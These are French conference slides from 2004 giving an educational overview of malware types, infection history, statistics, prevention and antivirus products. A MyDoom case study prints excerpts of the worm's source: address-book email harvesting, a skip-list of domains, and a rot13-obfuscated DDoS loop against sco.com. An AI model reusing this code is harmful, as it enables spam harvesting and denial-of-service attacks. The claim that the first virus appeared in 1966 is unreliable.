

# **Conférence sur la Virologie**

**Juillet 2004**

# Sommaire

Introduction	4
L'âge de pierre des virus	5
L'évolution des virus	6
Cycle de vie d'un malware	7
Différents types de malware	8
- Virus et Ver	9
- Chevaux de Troie	10
- Backdoor	11
- Spam	12
- Spyware	13
- Dialers ou numéroteurs	14
- Hoax ou canular	15
- Vecteur de virus	18
- Charges virales	20
- Cas précis	24

# Sommaire

Méthode d'intrusion	29
Guerre des Créateurs	30
Statistiques	31
Recherches de leurs origines	33
Solutions	34
Retours expériences	37
Prévention	38
Annexes	39

# Introduction

basée sur Oxygen3 24h-365d (Evolution of computer viruses - 04/22/04)

# L'âge de pierre des virus

## Définition :

1966 : Premier virus créé au Pakistan infectant le secteur de boot et premier Trojan (PC-write).

# L'évolution des virus

## Malware :

### Définition :

Un malware est une catégorie de programmes plus ou moins autonomes visant à modifier le fonctionnement normal d'un ordinateur de façon plus ou moins grave.

Des canulars aux virus, on distingue différents cycles distincts.

# Cycle de vie d'un malware

La première étape, la phase de recherche. Durant ce stade, le malware cherche des victimes potentielles (parfois, c'est la victime elle-même qui va le chercher).

Une fois trouvé, il faut s'implanter dessus discrètement et vient ensuite la phase de contamination unique ou multiple de la machine.

Après cette implantation et éventuellement une période d'incubation, arrive la phase d'exécution où le malware effectue ce dont il est programmé, tout en cherchant éventuellement de nouvelles victimes.

Il peut s'en suivre parfois d'une période d'hibernation pendant laquelle, il sera presque indétectable avant de pouvoir prendre son activité.

# Différents types de malware

**Virus, spyware, hoax** : Définition et fonctionnement

(voir aussi <http://cri.univ-tlse1.fr/documentations/virus/index.html>)

# Virus et Ver

**1- Les virus** sont des programmes de taille réduite qui vivent au travers d'un hôte généralement, une application.

Le virus est programmé pour se répliquer vers d'autre cible autant que possible pour éventuellement, sur un critère donné, déclencher la charge virale.

On peut donc tout à fait avoir une machine saine avec un virus dans un programme. Tant que ce programme ne sera pas exécuté, le virus ne sera pas lancé et ne pourra donc pas se dupliquer.

**2- Un ver** est une version plus évoluée du virus, indépendant, il se propage automatiquement via les réseaux en utilisant des bugs dans les applications ou des paramètres incorrects. Il n'a pas besoin d'hôte pour assurer sa duplication et se propage plus rapidement que les virus.

Certains vers ou virus sont polymorphes c'est à dire qu'ils changent légèrement de forme pour les rendre plus difficile à identifier

Ce changement est basé soit sur l'ajout d'instruction sans conséquence (NOP en assembleur, assigner des valeurs à des registres non utilisés) soit en tirant parti de l'associativité de calculs arithmétique ou d'instructions machines.

# Chevaux de Troie

Un cheval de Troie, en référence à l'Illiade, est un programme ayant des fonctionnalités partiellement différentes.

Le résultat de l'utilisation de ce fichier pouvant être simplement la destruction de fichiers ou la récupération de vos mots de passe.

# Backdoor

(ou une porte de derrière)

Il s'agit d'un programme permettant de se connecter à distance sur l'ordinateur infecté.

# Spam

## (ou message publicitaire non sollicité)

Moins dangereux que les virus, il représente une grosse part du trafic sur Internet et du temps (ainsi que du coût) passé par les employés à traiter ces mails.

Ces publicités généralement lancées par des firmes américaines pour vanter des produits divers et variés utilisent des moteurs de recherche sur Internet recherchant l'arobase (@) en quête de mail à capturer pour ensuite envoyer de la publicité.

Les forums sont très prisés pour leur mails pas toujours masqués mais aussi les pages personnelles.

Il est parfois de se retirer d'une telle liste, envoyer une réponse indique que l'on a bien reçu le message. Ne rien envoyer indique quand même que le mail est arrivé.

La loi évoluant à leur encontre, la tendance serait maintenant à l'exploitation des ordinateurs infectés par les virus pour diffuser ces publicités.

Il existe plusieurs logiciels parfois intégrés aux solutions antivirus qui permettent de faire le tri pour vous avec plus ou moins d'efficacité. Le tri sur les mails anglais restant un bon moyen pour la plupart des individus d'éviter de perdre du temps.

# Spyware

Les spywares font partis des nouveaux fléaux, simple cookie stocké sur la machine aux applications tournant en tâche de fond, les plus discrètes, ces spywares épient votre vie privée et l'utilisation de votre machine.

La collecte d'information ainsi renvoyée par internet à son créateur, permet de créer et de revendre des bases de données énormes à des sociétés publicitaire pour l'envoi de Spam par exemple.

Parfois plusieurs centaines de spywars cohabitent ensemble mais finissent par mettre les performances de la machine à rude épreuve.

On récolte le plus souvent ce type de programme en surfant sur les sites pirates (Warez et PeerToPeer), mais aussi en installant des logiciels gratuits qui financent leur développement par l'intermédiaire de ces spywares pas toujours explicitement indiqués.

Parmis les logiciels couramment utilisés et qui renferment ces bestioles, on trouve : Mirabilis ICQ, RealNetworks RealPlayer, Burn4Free, Kazaa et bien d'autres...

# Dialers ou numéroteurs

Logiciels espion par excellence, il affecte surtout les machines connectées via Modem.

Ces programmes s'installent à l'insu de l'utilisateur afin de composer des numéros surtaxés ou téléchargent des publicités à afficher sur les machines infectées.

Outre les logiciels comme :

- Lavasoft Ad-aware (<http://www.lavasoftusa.com/support/download>),
- et Spybot (<http://spybot.safer-networking.de>),

il est possible de trouver des sites web qui permettent d'analyser la configuration (<http://www.doxdesk.com/parasite/index.html>).

# Hoax ou canular

Il s'agit de ce que l'on pourrait appeler un mythe urbain.

Tout le monde a entendu parler de quelqu'un qui connaît quelqu'un qui...

Pourtant ces histoires, lorsque l'on remonte les sources arrivent nul part, car il s'agit d'invention.

Le principe du Hoax est le même, à savoir vous faire croire quelque chose et le diffuser au plus grand nombre de personne possible.

Le plus souvent, le message arrivant par mail fait appel à votre bon cœur, votre sens du devoir ou vos peurs en informatique pour que vous vous sentiez concerné.

Pour cela, tous ces Hoax ont un point commun, ils citent tous des grands noms connus de tous et des évènements facile à comprendre

# Hoax ou canular - Exemples

- Un virus nouveau, destructeur, aucune de solution trouvé par Microsoft ou Symantec.
- Une fillette qui doit subir une opération et qui touche un centime d'euros par mail renvoyé, soit-disant contrôlé par les gérants d'Internet (ah ? Quelqu'un surveille Internet ?)
- Un téléphone à gagner si on renvoie à 10 personnes avec une adresse particulière en copie (faites le calcul du nombre de mails que recevra cette personne avec une chaîne de rang 6 avec  $N+1=(N*10)+1$ )

Le but est simple : surcharger, ralentir voir faire planter un ou plusieurs serveurs de messagerie.

# Hoax ou canular - Exemples (suite)

Ce trafic sur Internet est très important et n'oublions pas que si nos abonnements Internet sont illimités, les grosses sociétés payent des lignes haut débit en fonction du trafic...

Pour se prémunir de ce fléau, une chose simple, rester réaliste, ne pas croire tout ce que l'on raconte et au besoin vérifier sur <http://www.hoaxbuster.com>, si ce mail n'est pas déjà répertorié comme un Hoax.

Dans certains cas précis, le mail était véridique comme des parents ayant réellement perdu leur enfant, mais une fois l'enfant retrouvé, le mail circulait toujours sur Internet, sans aucun contrôle et cela donna lieu à des sollicitations des forces de l'ordre pour un fait n'étant plus d'actualité.

Certains programmes cumulent plusieurs de ces catégories afin d'avoir un impact encore plus marqué et donc augmenter les dégâts causés.

# Vecteur de virus

En l'absence de gros réseau, les virus infectaient les fichiers exécutable (.com et .exe) et les zones d'amorces des supports principalement, les disquettes et quelques fois les EPROM du BIOS dans les années 1980.

Les supports étant limités en stockage et parfois bruyants lors des accès en lecture/écriture, il fallait des méthodes discrètes de réplication.

Ces anciens virus étaient en général les plus dévastateurs.

Dans les années 1990, apparaissent les premiers lecteurs de Cd-rom pour le grand public puis les premiers graveurs sans grand impact sur la diffusion des virus.

La propagation de ces virus restait lente, un support donné infectant que quelques machines tout au plus.

Avec la démocratisation d'Internet vers la fin du XXème siècle, l'expansion du mail représente un moyen idéal pour déployer un virus rapidement profitant de la crédulité des utilisateurs.

Les réseaux étant très développés de nos jours, les fonctionnalités ont évoluées en conséquences ouvrant chaque jour de nouvelles portes aux virus.

# Vecteur de virus (suite)

Aujourd'hui, la menace principale est sans aucun doute Internet et rend l'utilisation d'un antivirus quasi indispensable.

Les supports amovibles (comme les disquettes, les CD-rom ou les clés USB) ne permettent plus une croissance rapide des virus, par rapport à la réactivité des sociétés antivirus.

De plus en plus de virus utilisent les réseaux d'échange PeerToPeer pour se déployer encore plus rapidement en se faisant passer pour des Craks ou des Serial Generator.

# Charges virales

- Ralentissement de la machine, voir plantage ou reboot : très en vogue actuellement mais pas réellement dangereux.
- Suppression de fichier, renommage : plus délicat si l'on ne sauvegarde pas régulièrement, très utilisé avant l'ère des virus Internet, beaucoup moins en ce moment.
- Création de "Backdoor" permettant de se connecter avec les droits administrateurs sur la machine : généralement associé à la charge virale initiale.
- Destruction physique du matériel : rendu difficile de nos jours car l'électronique propre du matériel contrôle tout débordement. Les taux de rafraîchissement des écrans pouvaient être assignée en assembleur directement et entraîner une dégradation plus rapide du moniteur.
- Certains virus se plaçant dans le BIOS ([http://www.cert.org/incident\\_notes/IN-99-03.html](http://www.cert.org/incident_notes/IN-99-03.html)) comme CIH Chernobyl, certains auraient eu la capacité d'overclocker l'ordinateur, entraînant l'instabilité du système voir une dégradation plus rapide du matériel (<http://www.hippy.freemove.co.uk/sandman.htm>)

# Charges virales (suite)

- Un effet visuel du virus comme pouvait le faire PingPong faisait partie de la notoriété recherchée de l'époque.
- De nos jours, ces présentations graphiques ne sont plus tellement en vogue davantage orienté vers la furtivité.
- Afin de ne pas infecté plusieurs fois un même fichier, il existe différentes méthodes, en voici une .
  - Chaque application Windows est précédé d'un en-tête permettant de stocker différentes informations sur la mémoire comme la taille de la pile ou des paramètres d'alignement.

# Charges virales (suite)

- A partir de Windows NT 3.1, un nouveau format nommé Portable Executable (PE) est introduit :

- Dans la section PE File Optional Header on trouve la structure IMAGE\_OPTIONAL\_HEADER défini dans winnt.h.

Cette dernière contient les champs :

```
[...]  
USHORT MajorImageVersion;  
USHORT MinorImageVersion;  
USHORT MajorSubsystemVersion;  
USHORT MinorSubsystemVersion;  
ULONG Reserved1;  
[...]
```

Il est possible de modifier le champ Reserved1 (utilisé pour l'alignement mémoire et mis à  $\emptyset$  par défaut) afin de stocker un numéro de version de virus par exemple.

**PE File Format**

MS-DOS MZ Header
MS-DOS Real-Mode Stub Program
PE File Signature
PE File Header
PE File Optional Header
.text Section Header
.bss Section Header
.rdata Section Header
.
.debug Section Header
.text section
.bss Section
.rdata Section
.
.debug section

# Charges virales (suite)

Pour compliquer la tâche, sur les versions Windows 9x où l'on pouvait modifier le code de façon dynamique, le virus est crypté utilisant un algorithme bijectif en Xor (ou-exclusif binaire).

Le code généré permet donc d'avoir un exemple de virus polymorphe.

# Cas précis

## Etude de MyDoom :

Recherche des e-mails contenu dans un fichier WAB scanné sur le disque dur.

Sur les mails récoltés, il supprime certains noms de domaine à partir de noms pré-enregistrés.

Puis la charge virale est un Distributed Deny Of Service (DDoS) sur le site web de la société SCO ([www.sco.com](http://www.sco.com))

```

static int scan_wab(const char *filename)
{
    HANDLE hFile, hMap;
    DWORD cnt, base1, maxsize, i;
    register DWORD b, j;
    unsigned char *ptr;
    char email[128];
    hFile = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == NULL || hFile == INVALID_HANDLE_VALUE)
        return 1;
    maxsize = GetFileSize(hFile, NULL);
    hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if (hMap == NULL || hMap == INVALID_HANDLE_VALUE)
    {
        CloseHandle(hFile);
        return 2;
    }
    ptr = (unsigned char *)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
    if (ptr == NULL)
    {
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 3;
    }
    base1 = *((DWORD *)(ptr + 0x60));
    cnt = *((DWORD *)(ptr + 0x64));
    for (i=0; i<cnt; i++)
    {
        b = base1 + i * 68;
        memset(email, '\0', sizeof(email));
        for (j=0; (b < maxsize) && (j < 68); j++, b+=2)
        {
            email[j] = ptr[b];
            if (ptr[b] == 0) break;
        }
        if (j > 0)
            scan_out(email);
    }
    UnmapViewOfFile(ptr);
    CloseHandle(hMap);
    CloseHandle(hFile);
    return 0;
}

```

```
static const char *nospam_domains[] = {"avp", "syma", "icrosof", "msn.", "hotmail", "panda", "sopho", "borlan", "inpris", "example", "mydomai", "nodomai", "ruslis", ".gov", "gov.", ".mil", "foo.", NULL, "\n\n"};
```

```
void scodos_main(void)
{
#define SCO_SITE_ROT13 "jjj.fpb.pbz"    /* www.sco.com */
#define SCO_PORT 80
#define SCODOS_THREADS 64

    struct hostent *h;
    struct sockaddr_in addr;
    int i;
    unsigned long tid;
    char buf[128];

    rot13(buf, SCO_SITE_ROT13);
    for (;;)
    {
        while (is_online() == 0)
            Sleep(32768);

        h = gethostbyname(buf);
        if (h == NULL)
        {
            Sleep(32768);
            continue;
        }
        memset(&addr, '\0', sizeof(addr));
        addr.sin_family = AF_INET;
        addr.sin_addr = *((struct in_addr *)h->h_addr_list[0]);
        addr.sin_port = htons(SCO_PORT);
        break;
    }
    for (i=1; i<SCODOS_THREADS; i++)
        CreateThread(0, 0, scodos_th, (LPVOID)&addr, 0, &tid);
    scodos_th(&addr);
}
```

# My Doom (suite)

Beaucoup de chaînes sont cryptées en utilisant le Chiffre de César (décalage de l'alphabet d'un nombre "n" de façon circulaire) afin d'être plus discrètes.

La fonction rot13 (buf, SCO\_SITE\_ROT13), permet donc de retrouver l'IP du serveur de destination.

Ensuite, tant que la machine n'est pas connectée à Internet et que la connexion via `h = gethostbyname(buf)`, n'est pas obtenue, le programme boucle et attend.

Au final, il crée 64 threads avec une priorité `THREAD_PRIORITY_BELOW_NORMAL`. Chaque thread ouvre une socket et envoie le buffer :

```
"GET / HTTP/1.1\r\n"
```

```
"Host: www.sco.com\r\n"
```

```
"\r\n"
```

Toutes les 300m/s.

# Méthode d'intrusion

- Brute Force ou Dictionary attack :
  - Méthode peu discrète qui donne des résultats en général avec les personnes peu initiées à l'informatique.
- Les mots de passe sont vides, équivalent au nom du compte ou bien un mot du dictionnaire :
  - <http://www.businessweek.com/1997/06/b351314.htm> ;
  - [http://www.totse.com/en/hack/word\\_lists/passwrds.html](http://www.totse.com/en/hack/word_lists/passwrds.html).
- Partage administratif C\$, D\$ activés par défaut et permettant d'accéder en lecture/écriture à toutes les unités.
- Failles de sécurité RPC (Remove Procedure Call) et LSASS (Local Security Authority Subsystem Service) :
  - Les bugs d'un système d'exploitation sont très largement utilisés pour prendre le contrôle d'une machine.
- Social Engineering :
  - Méthode orientée autour de la communication afin d'obtenir discrètement des informations précieuses à l'insu de la personne.

# Guerre des créateurs

Depuis le début 2004, on assiste à une guerre entre créateurs de virus, afin de garder leur notoriété au plus haut.

Ainsi :

Nesky élimine MyDoom, Bagle, Mimail et Nachi

Mydoom élimine Doomjuice

# Statistiques

## Nombre :

- 1980 : 20 virus recensés (source Symantec Corporation)
- 2003 : + 65.000 virus différents recensés (source Symantec Corporation)
- 2003 - décembre : 69.000 signatures (source Panda Software)
- 2004 - juin : 67.645 signatures (source Symantec Corporation)  
79.000 signatures (source Panda Software)

# Statistiques (suite)

## Coût :

- 1990 : Virus Jerusalem, Form et Cascade : 50 millions d'euro sur 5 ans (source : revue informatique de l'époque)
- 1995 : Macro virus Concept : 50 millions d'euro en 4 mois (source : revue informatique de l'époque)
- 1999 : Macro virus Melissa (par e-mail) : 385 millions de dollars en quelques jours aux Etats Unis (source : Symantec Corporation)
- 2000 : VB Script virus LoveLetter/ I Love You : 10 milliards de dollars en quelques heures (source : The Register)
- 2002 - 2003 : Virus Slammer a infecté plus de 300.000 ordinateurs (source : Le Soir)
- 2003 - août : Virus Blaster a infecte plus de 570.000 ordinateurs (sources : k-otik)
- 2003 - février : AOL, le géant américain piraté par un adolescent (source : Isecurelabs)
- 2004 - mai : Une faille touche le protocole 802.11 (source : Isecurelabs)

# Recherche de leurs origines

La délation est un facteur important dans la recherche des auteurs d'un virus.

Les informations laissées dans le virus par un créateur trop sûr de lui permet de récolter de précieuses informations.

Ensuite, il s'agit d'un travail long visant à remonter les adresses IP qui ont rencontrées le virus pour remonter à son point d'émission.

# Solutions (1/2)

## Antivirus logiciel :

- Largement répandu
- Prix raisonnable
- Concurrence forte (liste des plus gros éditeurs en annexe)
- Plus ou moins gourmand en performance sur la machine et affectant donc la productivité
- Fonctionne selon **2 méthodes** :
  - Signature :

Un fichier contient les empreintes des différents virus et par comparaison, permet d'identifier les fichiers dangereux.

Cette méthode est assez fiable, évite les fausses alertes mais nécessite de télécharger des définitions de virus via Internet de taille importante parfois.
  - Heuristique :

Cette solution est idéale pour les ordinateurs avec des connections Internet lentes ou inexistantes.

Les algorithmes identifient les fonctions potentiellement dangereuses à partir des appels fait au système (via les DLL principalement, c'est à dire dans la plupart des cas, les fonctions qui permet d'accéder au réseau).

De nos jours, il est possible au sein d'un même programme d'utiliser les deux méthodes pour plus d'efficacité au détriment de la convivialité.

Il existe aussi une alternative consistant à envoyer les fichiers douteux à l'éditeur de l'antivirus.

# Solutions (2/2)

## Antivirus matériel :

- Largement répandu de nos jours voir indispensable à des prix raisonnables
- Concurrence forte et apparition
- 2 Sociétés proposent une solution matérielle :
  - **Fortinet :**  
avec la série Fortigate (<http://www.fortinet.com/products/telesoho.html>)  
Spécification :  
([http://www.indigo.net.au/products/fortinet/datasheets/FGT200\\_300DS.pdf](http://www.indigo.net.au/products/fortinet/datasheets/FGT200_300DS.pdf))
  - **Panda Software :**  
avec la série GateDefender  
(<http://www.pandasoftware.com/products/gatedefender/>)  
Spécification : en document annexe.

# Retours expériences (1/2)

## Machine infectées chez les particuliers :

- Ils se sentent à l'abri des pirates prétextant qu'ils n'ont rien de critique sur leurs machines. Au contraire, ils sont la cible favorite pour passer inaperçu lors des tests de leurs programmes.
- Pas de Firewall
- Antivirus, non mis à jour (trop long à charger, abonnement expiré, option désactivée par inadvertance)
- Windows peu ou pas patché
  - fonctionnalité peu connue,
  - nombreuses versions pirate de Windows XP, interdisant la mise à jour de Windows Update
- Infection multiple (à partir de la première infection, toujours un minimum de 10 virus)
- Nombreux Spyware (plusieurs centaines)
  - Record actuel : 385 virus et environ 500 Spywares sur une seule machine.
- Antivirus mail (Wanadoo Secureeto et AOLMail Antivirus) assez adoptés par les particuliers qui croient voir une protection efficace.

# Retours expériences (2/2)

## **Machine infectées dans les sociétés :**

- Portable sortis de l'entreprise s'étant connecté à Internet sans Firewall et/ou sans antivirus.
- Antivirus inexistant ou licence non remise à jour pour des raisons budgétaires :
  - Record actuel : 250 virus et environ 300 spywares sur une seule machine. Plantage de l'antivirus Online de Panda dont une dizaine de virus ne pouvaient être détruit.
- Antivirus mail souscrit auprès du fournisseur d'accès Internet pour des petites structures.
- Palmarès : Un prestataire informatique refacturant la connection Internet et une protection antivirus par mail en tant qu'intermédiaire, mais n'ayant pas souscrit la protection antiviral mail auprès du fournisseur d'accès à Internet.

# Prévention

- **Rester objectif et prudent :**
  - En cas de doute, contacter la personne pour vérifier l'envoi d'un mail ou toute information.
  - Etre critique sur le titre du mail (Outlook, Outlook Express, Mozilla) permettent d'afficher la source du message et donc de vérifier de façon plus précise le contenu du mail.
- **Ne pas répondre à l'expéditeur d'un message douteux.**
- **Mettre à jour son antivirus au moins toutes les 24h.**
- **Scanner l'intégralité de la machine une fois par semaine.**
- **Vérifier que Windows et les logiciels installés sont à jour** (Microsoft Office, Mozilla, Winzip, Adobe, Acrobat Reader, etc.).
- **Surveiller toute activité suspecte de la machine** (lecteur de CD qui s'ouvre, disque dur qui charge alors qu'aucune application ne tourne, programme lents ou qui réponds mal).

# Annexes

## Sommaire

Antivirus matériel	40
Comparatif Norton Internet Security, Panda Internet Security et d'autres	41
Installation	42
Signatures	43
Scan	44
Solutions distribuées	45
Espace occupé sur un disque dur	46
Pourcentage d'efficacité	47
OEM et Boot	48
Tarifs	49
Divers	50

# Antivirus matériel

## Panda Software : GateDefenter

- Filtrage des protocoles les plus utilisés en entrée et sortie : SMTP, HTTP (avec Javascript et ActiveX), POP3, FTP, NNTP, IMAP4 et SOCKS.
- Répartition de charge :
  - ✓ de 80.000 à 200.000 message/heure (SMTP sur une base de 25 % de mail infecté),
  - ✓ de 8 à 16 Mbps en HTTP.
- Gestion de plusieurs centaines d'utilisateurs
- Reconnaissance de tous les formats compressés (ZIP, ARJ, RAR, ACE,etc.) ainsi que ExePacker (LZEXE, PKLITE, ICECOM, etc.).
- Mise à jour toutes les 24h ou toutes les 30mn en cas d'alerte virale :
  - Modèle GateDefender 7100 PIII, 1.2Ghz, 512Mo RAM, 40Go HD, LAN 10/100, Windows NT.
  - Modèle GateDefender 7200 Dual Xeon, 2.4Ghz, 1Go RAM, 40Go HD, 2 cartes Gigalan, Windows XP
- Protection contre les vulnérabilités de pièce jointe VBS, les extensions CLSID, les en-têtes MIME mal formés, IIS 5.0 WebDay, SQLlhammer, les doubles extensions,etc

# Comparatif Norton Security, Panda Internet Security et d'autres

	Norton Internet Security		Panda Antivirus Platinum	Panda Internet Security	McAfee	FSecure	PC-Cillin
	2003	2004	2004	2004	6.0	2004	11.0
Antivirus	oui		oui	oui	oui	oui	oui
Firewall personnel	oui		oui	oui	oui	oui	oui
Contrôle parental	oui		non	oui	oui	non	oui
Anti Popup	oui		non	oui	non	non	non
Anti Spyware	non		non	oui	non	non	oui
Anti Hoax	non		non	oui	non	non	non
Anti Spam	oui		non	oui	oui	non	oui
Anti Dialer (numéroteur)	non		oui	oui	non	non	non
Mise à jour automatique	oui		oui	oui	oui	oui	oui

# Installation

Temps d'installation, volume des mises à jour et reboot

	<b>Bilan</b>	<b>Patches</b>	<b>Remarque</b>
Norton Internet Security 2003	6 reboots	40 Mo	Impossible pour les ordinateurs en modem
Norton Internet Security 2004	2 reboots	31 Mo	Impossible pour les ordinateurs en modem

# Signatures

	Date	Nombre de Signature	Mise à jour
<b>Panda</b>	08 juin 2004	78.696	jusqu'à 3 ou 4 fois par jour dans la journée de façon automatique
<b>Norton</b>	08 juin 2004	67.645	après 4 jours sans mise à jour

# Scan

Duron 1,3 Ghz - 512 Mo de SDRam - Windows XP Pro : cible sur le LAN 100 Mbits

Volume de données à scanner :

- 10 Go dont des fichiers Zip
- 34.734 fichiers
- 4933 dossiers.

	Type machine	Temps pour scanner	Nombre de fichier scanné
<b>Panda</b>	Pentium IV - 2,8 Ghz - 1 Go DDRAM	20 mn	121.568
<b>Norton 2003</b>	Duron - 1,3 Ghz - 384 Mo SDRAM	55 mn	101.302

# Solutions distribuées

## **Gestion des licences :**

- Bouquets de 5 licences pour les solutions Corporate de Symantec :
  - Une PME de 6 machines avec peu de moyens payent pour 10 postes ainsi que l'achat d'un serveur obligatoire.
- A partir de 5 licences pour les solutions BusinessSecure de Panda Software puis à l'unité.

## **Domaine / Workstation :**

- Version Microsoft Windows™ Server obligatoire pour les solutions distribuées Corporate de Symantec.
- Version Microsoft Windows™ Workstation suffisante sur un serveur de fichier pour les solutions distribuées BusinessSecure de Panda Software.

## **Convivialité en fonction du public :**

- Produit en français obligatoire pour les particuliers.
- Simplicité d'utilisation importante dans le choix du produit.

# Espace occupé sur un disque dur

## **Panda Internet Security 2004 :**

- 62 Mo sur le disque dur, dont un fichier unique de 7 Mo de signatures
- RAM :  
Pavscr51.exe + PavPrSrv.exe + apvxdwin.exe + PavFires.exe + SrvLoad Avengine.exe = 27,7 Mo

## **Norton Internet Security 2003 :**

- 80 Mo répartis dans "Program Files", fichier de signatures répartis en plusieurs fichiers pour environ 35 Mo.
- L'explorateur Windows révèle une différence après l'installation et mise à jour de 200 Mo.
- RAM :  
sndSrv.exe + savscan.exe + navapsvc.exe + ccEvtMgr.exe + ccSetMgr.exe + ccProxy.exe + ccApp.exe = 36,1 Mo

# Pourcentage d'efficacité

Certains plus rapides, d'autres plus efficaces, d'autres trop gourmands en ressources.

## **Test antivirus:**

<http://www.blocus-zone.com/modules/news/article.php?storyid=601>

<http://eservice.free.fr/comparatif-antivirus.html>

<http://www.clubic.com/ar/1987-10.html>

<http://www.supinfo-projects.com/fr/2004/comp%5Fantivirus/3/>

# OEM et Boot

## **OEM :**

- Bundle de 2 ou 3 mois chez Symantec avec des PC neufs, durée mal indiquée, clients surpris de l'expiration.
- Bundle de 6 mois chez Panda Software (solutions encore peu présentes)

## **Boot :**

- CD Bootable pour Norton et Panda, mais le fichier de définition de virus est à jour à partir de l'impression du CD.
- Panda propose la création de disquettes de démarrage à partir d'une version installé d'Internet Security mise à jour pour désinfecter d'autre PC.

# Tarifs

Panda Platinum Antivirus + Firewall 2004	70,00 euros TTC
Panda Internet Security 2004 Prix dégressif si licence de 2 ou 3 ans	80,00 euros TTC
Symantec Norton Internet Security 2004	89,95 euros TTC
McAfee Internet Security 6.0 - 2004	77,90 euros TTC
F-Secure Internet Security 2004	49,90 euros TTC
PC-Cillin Internet Security 11.0	56,00 euros TTC

# Divers

## Scan Online :

- [http://housecall.trendmicro.com/housecall/start\\_corp.asp](http://housecall.trendmicro.com/housecall/start_corp.asp)
- <http://www.ravantivirus.com/scan/>
- <http://www.bitdefender.com/scan/licence.php>
- [http://www.pandasoftware.com/activescan/com/activescan\\_principal.htm](http://www.pandasoftware.com/activescan/com/activescan_principal.htm)
- <http://www.kaspersky.com/scanforvirus.html>
- <http://www.cybertechhelp.com/html/misc/av.php>

## Sociétés :

- **F-Secure** : <http://www.f-secure.fr/france/>
- **Sophos** : <http://www.sophos.fr/>
- **AVG** : <http://www.avgfrance.com/>

## Liens :

- <http://www.thefreecountry.com/security/spywareremoval.shtml>
- [http://www.pcinpact.com/actu/news/Prescott\\_et\\_technologie\\_NX\\_Antivirus\\_hardware.htm](http://www.pcinpact.com/actu/news/Prescott_et_technologie_NX_Antivirus_hardware.htm)
- [http://www.pcinpact.com/actu/news/AMD\\_et\\_Microsoft\\_ensemble\\_Antivirus.htm](http://www.pcinpact.com/actu/news/AMD_et_Microsoft_ensemble_Antivirus.htm)